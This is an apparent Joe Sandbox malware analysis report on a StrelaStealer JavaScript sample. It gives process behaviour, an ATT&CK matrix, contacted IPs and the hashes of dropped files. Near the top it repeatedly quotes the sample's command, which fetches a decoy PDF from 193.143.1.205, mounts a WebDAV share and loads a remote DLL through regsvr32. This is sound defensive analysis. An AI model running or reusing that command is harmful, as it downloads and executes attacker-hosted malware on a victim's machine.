Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\295912145329158.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\295912145329158.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
2608440261187823817.js	12%	Virustotal		Browse
2608440261187823817.js	11%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/)	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/6hVK	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/)	net.exe, 0000000A.00000003.1361399397.000001FB5F515000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000A.00000002.1362270708.000001FB5F515000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 0000000C.00000003.1361387450.000001FE9C010000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.12.dr, edb.log.12.dr	false		high
http://crl.ver)	svchost.exe, 0000000C.00000002.2586626475.000001FE96AC0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.11.dr	false		high
https://www.adobe.co	ReaderMessages.8.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	edb.log.12.dr	false		high
http://193.143.1.205:8888/	net.exe, 0000000A.00000002.1362772386.000001FB5F531000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000A.00000003.1361399397.000001FB5F515000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000A.00000002.1362270708.000001FB5F515000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000A.00000003.1360120667.000001FB5F530000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000A.00000002.1362270708.000001FB5F4D8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/6hVK	net.exe, 0000000A.00000002.1362270708.000001FB5F4D8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588886
Start date and time:	2025-01-11 06:42:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 15s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	22
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2608440261187823817.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 172.64.41.3, 162.159.61.3, 23.209.209.135, 2.23.242.162, 199.232.214.172, 2.16.168.105, 2.16.168.107, 13.107.246.45, 18.213.11.84, 20.109.210.53, 23.56.162.204
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, fs.microsoft.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, time.windows.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
00:43:08	API Interceptor	25x Sleep call for process: powershell.exe modified
00:43:12	API Interceptor	1x Sleep call for process: net.exe modified
00:43:12	API Interceptor	2x Sleep call for process: svchost.exe modified
00:43:19	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	709291801716322197.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	25134116771465314533.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	20607103592010424982.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1052056652379030461.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	244312574730704684.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	316517466273709266.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	6043249381237528594.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2067419799306291220.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	313992165580428308.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	247624346306918832.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	709291801716322197.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	316517466273709266.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	6043249381237528594.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2067419799306291220.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	12071652839003777.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1791204262914216029.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	18058273772912511871.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1468330663299317031.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	13134167581645321294.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2227274219703378.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	709291801716322197.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	25134116771465314533.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	20607103592010424982.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1052056652379030461.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	244312574730704684.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	316517466273709266.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	6043249381237528594.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2067419799306291220.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	313992165580428308.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	247624346306918832.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7067036943889127
Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6VqL:2JIB/wUKUKQncEmYRTwh0v
MD5:	CA3A6E97A1F621F937226C5969359703
SHA1:	74398B6A6AC8B6CDADB414C85C49F5E20BC438A0
SHA-256:	F6A17F94563143174B9E79DCFD8F7ACF6B19280354816C6CD9B0E1FA1AC805BD
SHA-512:	64348B9391E6BD63D1231D54B234536F1EF59CA79372D5A260BEEB82031A314FD497DD89D873DD091BD86A9513564CC2F6D7F66E2CD9A001438B644B9AEE3A12
Malicious:	false
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x6df478fe, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7899903951554889
Encrypted:	false
SSDEEP:	1536:rSB2ESB2SSjlK/JvED2y0IEWBqbMo5g5FYkr3g16k42UPkLk+kq+UJ8xUJoU+dzV:razaPvgurTd42UgSii
MD5:	633FA9A1D7A87C02DD11DCC38D554787
SHA1:	60F4642773C435D89D41E43098F9435C44C11586
SHA-256:	B88FC43EBA5FFFBAFF14DC04B342FB325270C588561315350382B3C32B07C7A4
SHA-512:	DC54E3D2046D8F4FA837744FF41B4BBA39A30466E7D57E94C4D0A2BB6EECA37B6EAD78C51B8619F7A1319FAE18D0D2F350539AC50F161D1010EFEFBE68F7DDBF
Malicious:	false
Preview:	m.x.... ...............X\...;...{......................0.`.....42...{5..+...}..h.b.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........+...{...............................................................................................................................................................................................2...{....................................%..+...}....................{..+...}...........................#......h.b.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08195462078538383
Encrypted:	false
SSDEEP:	3:pWllEYeePrnGqt/57Dek3Ji0dAllEqW3l/TjzzQ/t:YyzGrnHR3ti8Amd8/
MD5:	FF01D1227AC72E806C0180F77F5BAB0E
SHA1:	5C592EC3B6BE3FF5890F91D0101A91FB227CD446
SHA-256:	02515FA504A8D70DD4FEDB5B00E2D99BECFC08DA0CFB0B87F8FB18ED7B8B1F8F
SHA-512:	88CA8B17D19A585051F5E879EA5595288D8FD70DEF3BBCA40E59BA1C4183831E92E9563DB58AC6855F66CC7F84D18CA69F333848CCEDA385CD2E30F1632EE714
Malicious:	false
Preview:	..D......................................;...{...+...}..42...{5.........42...{5.42...{5...Y.42...{59..................{..+...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.169214912442784
Encrypted:	false
SSDEEP:	6:iODFIq2PcNwi2nKuAl9OmbnIFUt9ZZmwbzkwOcNwi2nKuAl9OmbjLJ:7ZIvLZHAahFUt9Z/bz54ZHAaSJ
MD5:	4A1014159476E570BFC88E1831306245
SHA1:	7AA711B4C6352A5C20420E4A789F0ACF61AB1AD6
SHA-256:	890F7C63DDC15D566A70ED806BCE331FD455F20FFE578DC6CAE94A8419339472
SHA-512:	CBDAD20859637D031447C96BBC56D93BB20858587BA16056068D754CB239160743131519E3B001CF2C0A1D6C09F5E49769713D04CE76832D92C315795519E7B2
Malicious:	false
Preview:	2025/01/11-00:43:12.250 1c84 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-00:43:12.252 1c84 Recovering log #3.2025/01/11-00:43:12.252 1c84 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.169214912442784
Encrypted:	false
SSDEEP:	6:iODFIq2PcNwi2nKuAl9OmbnIFUt9ZZmwbzkwOcNwi2nKuAl9OmbjLJ:7ZIvLZHAahFUt9Z/bz54ZHAaSJ
MD5:	4A1014159476E570BFC88E1831306245
SHA1:	7AA711B4C6352A5C20420E4A789F0ACF61AB1AD6
SHA-256:	890F7C63DDC15D566A70ED806BCE331FD455F20FFE578DC6CAE94A8419339472
SHA-512:	CBDAD20859637D031447C96BBC56D93BB20858587BA16056068D754CB239160743131519E3B001CF2C0A1D6C09F5E49769713D04CE76832D92C315795519E7B2
Malicious:	false
Preview:	2025/01/11-00:43:12.250 1c84 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-00:43:12.252 1c84 Recovering log #3.2025/01/11-00:43:12.252 1c84 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.144341435234719
Encrypted:	false
SSDEEP:	6:iOmWM+q2PcNwi2nKuAl9Ombzo2jMGIFUtpSz1ZmwHSlWMVkwOcNwi2nKuAl9OmbX:7mL+vLZHAa8uFUtE/eLV54ZHAa8RJ
MD5:	BDD717378396302D066DA50921173CF6
SHA1:	03C37DAD472DC8FA9C527C431C3B5AB3503F01EB
SHA-256:	D4760013A2E1D06C00896CC795B58AED3DD22AE997B8FCF5772012E670886730
SHA-512:	BBE98CE9201BE0EEBE902D5E2CDC1F415DEC633C56AD439CB03D042B64257A9F80D14C72A1713F7E60C977026CA96702E78E02486217549E126A6F2774468A3D
Malicious:	false
Preview:	2025/01/11-00:43:12.425 1dac Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-00:43:12.429 1dac Recovering log #3.2025/01/11-00:43:12.429 1dac Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.144341435234719
Encrypted:	false
SSDEEP:	6:iOmWM+q2PcNwi2nKuAl9Ombzo2jMGIFUtpSz1ZmwHSlWMVkwOcNwi2nKuAl9OmbX:7mL+vLZHAa8uFUtE/eLV54ZHAa8RJ
MD5:	BDD717378396302D066DA50921173CF6
SHA1:	03C37DAD472DC8FA9C527C431C3B5AB3503F01EB
SHA-256:	D4760013A2E1D06C00896CC795B58AED3DD22AE997B8FCF5772012E670886730
SHA-512:	BBE98CE9201BE0EEBE902D5E2CDC1F415DEC633C56AD439CB03D042B64257A9F80D14C72A1713F7E60C977026CA96702E78E02486217549E126A6F2774468A3D
Malicious:	false
Preview:	2025/01/11-00:43:12.425 1dac Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-00:43:12.429 1dac Recovering log #3.2025/01/11-00:43:12.429 1dac Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\9e6fc7b5-3510-4327-831a-bd929bb70343.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.952762555902143
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqnCsBdOg2HZdvcaq3QYiubSpDyP7E4T3y:Y2sRds6dMHje3QYhbSpDa7nby
MD5:	774B7E65546AB889596E222AF58BDC5E
SHA1:	5CE4CC5352AD413246BCD3A2ACCE2B016AF00518
SHA-256:	0320FCCF1833453AEA2A34466D249249AB5EBCB371B0732AA0D29B955EAB8B3A
SHA-512:	BD746E30A0DF9D9BD77FD585AC593751A7E1C99A47949CE93B4FBF75C1D34F0100882319192A50C3CF5C0D9AB7FC5F4AF39F31A0D0175640F1F0CB355B4C8382
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381134204251031","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":141182},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF4b661f.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\fe1d8e07-9d6e-40fb-a6e8-8d3a270602c9.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.231567325431225
Encrypted:	false
SSDEEP:	96:CwNwpDGHqPySfkcr2smSX8I2OQCDh28wDtP3Dvn69:CwNw1GHqPySfkcigoO3h28ytP3Dvn2
MD5:	1EEAF25D0D8764D0B843FAD033934D81
SHA1:	FC69BE4A145B205CD3245E45C67EEE25CA411F53
SHA-256:	71EC7E3043C8C5B2A92FAAA3E05338A67D9D34623190F7354718E0CEF31FA5E7
SHA-512:	9F7029F5E9AB812CFF0B196AC97789E6DB847248FC8DD0E1E94E8211E7C6814D9AB103389FBDE19F1C3F52DB3C2F43F1F73788D54730287200EFE6EC69F73CFC
Malicious:	false
Preview:	...#................version.1..namespace-.aw.o................next-map-id.1.Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.0I.$.r................next-map-id.2.Snamespace-9a9aa6d6_c307_4dda_b6c0_dc91084c8e68-https://rna-v2-resource.acrobat.com/.1!...r................next-map-id.3.Snamespace-1fbd9dc5_70a3_4975_91b4_966e0915c27a-https://rna-v2-resource.acrobat.com/.2..N.o................next-map-id.4.Pnamespace-0e0aed8d_6d6f_4be0_b28f_8e02158bc792-https://rna-resource.acrobat.com/.3.z.o................next-map-id.5.Pnamespace-52652c26_09c2_43f2_adf7_da56a1f00d32-https://rna-resource.acrobat.com/.4.{.^...............Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.C..r................next-map-id.6.Snamespace-3a89c6b0_72b9_411a_9e44_fa247f34ac91-https://rna-v2-resource.acrobat.com/.5.q._r................next-map-id.7.Snamespace-02b23955_9103_42e0_ba64_3f8683969652-https://rna-v2-resource.acrobat.com/.6..d.o..............

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.1326585842071255
Encrypted:	false
SSDEEP:	6:iOxglWM+q2PcNwi2nKuAl9OmbzNMxIFUtrXho1ZmwNXly+WMVkwOcNwi2nKuAl9c:7SL+vLZHAa8jFUtDhm/Fly+LV54ZHAab
MD5:	FB0B433FA9538D4337ECEB0F5F6ED362
SHA1:	9DF070F0C13DE5C5DDD61EC005CD53D18DDB3D97
